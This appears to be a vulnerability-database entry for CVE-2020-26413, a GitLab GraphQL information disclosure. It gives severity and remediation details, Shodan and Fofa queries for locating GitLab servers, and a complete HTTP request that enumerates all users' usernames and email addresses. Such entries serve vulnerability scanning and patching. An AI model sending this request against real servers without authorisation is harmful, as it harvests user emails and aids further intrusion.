| Title | Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure |
|---|---|
| Author | _0xf4n9x_,pikpikcu |
| Severity | Medium |
| Impact | An attacker can gain unauthorized access to sensitive information. |
| Remediation | Upgrade Gitlab CE/EE to version 13.6.3 or later. |
| CVSS Score | 5.3 |
| EPSS Score | 0.92644 |
| CVE ID | CVE-2020-26413 |
| CWE ID | CWE-200 |
| Shodan Query | http.title:"GitLab"cpe:"cpe:2.3:a:gitlab:gitlab"http.title:"gitlab" |
| Fofa Query | title="gitlab" |
| Tags | cve cve2020 hackerone gitlab exposure enum graphql vuln |
GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /api/graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 227
Content-Type: application/json
Accept-Encoding: gzip
{
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
"variables": null,
"operationName": null
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26413.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-26413.pcap
N/AN/A